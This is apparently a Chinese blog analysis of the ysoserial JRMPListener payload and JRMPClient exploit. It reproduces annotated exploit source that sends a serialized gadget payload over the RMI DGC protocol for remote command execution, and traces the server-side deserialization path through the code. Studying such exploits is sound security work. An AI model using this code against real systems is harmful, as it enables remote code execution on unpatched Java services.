ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用,攻击流程就是:
1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个rmi服务并监听在设置的端口
2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。
下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener
首先分析payloads/JRMPLIstener,这部分代码量很少,我给代码添加了注释以便理解:
public class JRMPListener extends PayloadRunner implements ObjectPayload {
public UnicastRemoteObject getObject(final String command) throws Exception {
//设置jrmp监听端口
int jrmpPort = Integer.parseInt(command);
//调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构造方法的参数,然后返回一个ActivationGroupImpl类型的对象
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
RemoteRef.class
}, new Object[]{
new UnicastServerRef(jrmpPort)
});
//通过反射设置uro对象中的port属性值为jrmpPort
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
}
同时我也给Reflections.createWithConstructor方法添加了注释,如下:
public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
//获取constructorClass类的构造方法,从泛型限定来看,constructorClass为classToInstantiate的父类
Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
//这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法newInstance出的对象为constructorClass类型
Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
//调用constructorClass父类的构造方法,将consArgs作为参数,返回constructorClass类型的对象
return (T)sc.newInstance(consArgs);
}
通过以上代码的分析,最后知道了生成的payload对象为ActivationGroupImpl类型,并将其向上转型为其父类UnicastRemoteObject类型。明白该payload怎么生成后,就该分析它的gadget链了。
下面是作者给出的整个调用链:
Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
我们就根据上述链去分析相应的代码:
1、虽然生成的payload实际对象为ActivationGroupImpl类型,但其被向上转型为了UnicastRemoteObject类型,所以在反序列化时自然会先执行UnicastRemoteObjec的readObject方法,因此在该方法中下断点,如下:
2、跟入reexport()方法,可以看到执行到了如下位置:
3、继续跟进,这里就很熟悉了,在前一篇调试RMI时,后面的流程已经走完了:
4、最终到了TCPTransport类的exportObject(Target var1)方法,如下,即开启了监听,只不过其导出的对象为上述生成的payload本身而已:
到这里,就明白了如果服务端反序列化了该payload,即可开启rmi监听。
我想既然服务端开启了rmi监听,那客户端应该也是可以使用RMIRegistryExploit去攻击的,但是出现了如下错误:
1、因此还是用调试RMI时的思路,在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,客户端代码很简单:
2、运行客户端代码,服务端即运行到了如下断点位置,可以看到var5值为116,而我们之前调试RMI时,var5的值为80,因此在下面的switch分支中就与正常RMI通信时出现了偏差。
可以看到下面进入了switch的default分支,然后抛出了异常,最终断开了与客户端的连接。
因此使用RMIRegistryExploit时无法攻击payloads/JRMPLIstener开启的rmi监听的。
下面分析一下exploit/JRMPClient是如何与payloads/JRMPLIstener开启的rmi监听进行通信的。先看一下作者对这个exp的描述:
Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
首先说的是这个exp是与RMIRegistryExploit类似的一种攻击方式,在前面第二章我们已经试过了 RMIRegistryExploit是无法成功攻击的。后面列举了两点:
1、攻击目标是远程DGC,也就是分布式垃圾收集,只要服务端有listener监听,就一定存在DGC。
2、不反序列化任何数据,意思就是客户端不会接受任何服务端发送的数据,这样就避免了被对方反过来进行攻击。
这里就先简单了解一下分布式垃圾收集
在Java虚拟机中,对于一个本地对象,只要不被本地Java虚拟机中的任何变量引用,它就可以被垃圾回收器回收了。
而对于一个远程对象,不仅会被本地Java虚拟机中的变量引用还会被远程引用。如将远程对象注册到Rregistry时,Registry注册表就会持有它的远程引用。
RMI框架采用分布式垃圾收集机制(DGC,Distributed Garbage Collection)来管理远程对象的生命周期。DGC的主要规则是,只有当一个远程对象不受任何本地引用和远程引用,这个远程对象才会结束生命周期。
当客户端获得了一个服务器端的远程对象存根时,就会向服务器发送一条租约通知,告诉服务器自己持有这个远程对象的引用了。此租约有一个租约期限,租约期限可通过系统属性java.rmi.dgc.leaseValue来设置,以毫秒为单位,其默认值为600 000毫秒。如果租约到期后服务器端没有继续收到客户端新的租约通知,服务器端就会认为这个客户已经不再持有远程对象的引用。
因此可以通过与DGC通信的方式发送恶意payload让服务端进行反序列化,从而执行任意命令。
下面我们先动态调试一下DGC相关的通信流程,然后返过去去理解exploit/JRMPClient的代码效果更好:
1、借用之前分析RMI的经验,我仍然在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,然后用exploit/JRMPClient去打开启的监听端口,果然在该方法中的断点处停了下来,通过查看调用栈,如下:
我们先看一下handleMessages的上一级调用,即TCPTransport$ConnectionHandler.run0方法,可以看到读取了一个int数据:
下图又读取了一个short数据,接着读取了一个byte数据,但显示的调试信息有错,因为var15应该为76:
于是switch进入下面的case76,继而进入handleMessage方法中:
2、我们接着回到handleMessages方法中,看到读取了int数据80,于是进入了switch中的case80分支:
2、继续跟进,到了Transport类的serviceCall(final RemoteCall var1)方法:
(1)先进入ObjID.read()方法,可以看到先读取了一个long型数据:
再进入UID.read方法,可以看到连续读取了int、long、short三个数据:
所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象,并且在下图中,会用该ObjID对象与dgcID作比较,dgcID如下:
如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。
(2)接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。
3、同样的,在UnicastServerRef类中的dispatch(Remote var1, RemoteCall var2)方法中读取了一个int值,这里调试信息显示错误,应该是var3的值为1
4、接着有读取了一个long值,如下,依然有错误,应该是var4的值:
5、 接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),
从前面知道var3值为1,因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。
到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。
经过上面的3.1节的调试,下面的代码就很容易理解了,并且我也对关键代码做了注释,如下:
1、先看JRMPClient类的main方法,主要的就如下添加注释的两行代码:
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " ");
System.exit(-1);
}
//生成指定的命令执行的payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
//通信方法
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
2、下面就看主要的通信方法makeDGCCall了,其发送的通信数据在上面调试中均已发现其具体作用,我也进行了注释:
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//获取Socket的输出流
OutputStream os = s.getOutputStream();
//将输出流包装成DataOutputStream流对象
dos = new DataOutputStream(os);
//下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法调用前通信的数据
dos.writeInt(TransportConstants.Magic); // 1246907721;
dos.writeShort(TransportConstants.Version); // 2
dos.writeByte(TransportConstants.SingleOpProtocol); // 76
//在TCPTransport类的handleMessages方法中获取到了80
dos.write(TransportConstants.Call); //80
//下面依然是往服务器发送数据,但是经过了序列化处理
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//下面数据是在服务端每一个dispatch方法中获取的
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
//前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会对其进行反序列化处理。
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
终于把ysoserial exploit/JRMPClient中的代码原理搞清楚了,有了前一篇分析RMI的经验,本次分析DGC也得心应手了许多。
1、exploit/JRMPClient与exploit/RMIRegistryExploit类似,可以攻击任何RMIServer,但exploit/JRMPClient是通过dgc通信进行攻击,而exploit/RMIRegistryExploit是通过bind方法绑定恶意payload进行攻击。
2、exploit/JRMPClient可以结合payloads/JRMPListener进行攻击,但exploit/RMIRegistryExploit不能结合payloads/JRMPListener进行攻击
3、JEP 290之后,对RMI注册表和分布式垃圾收集(DGC)新增了内置过滤器,以上攻击方式均失效了。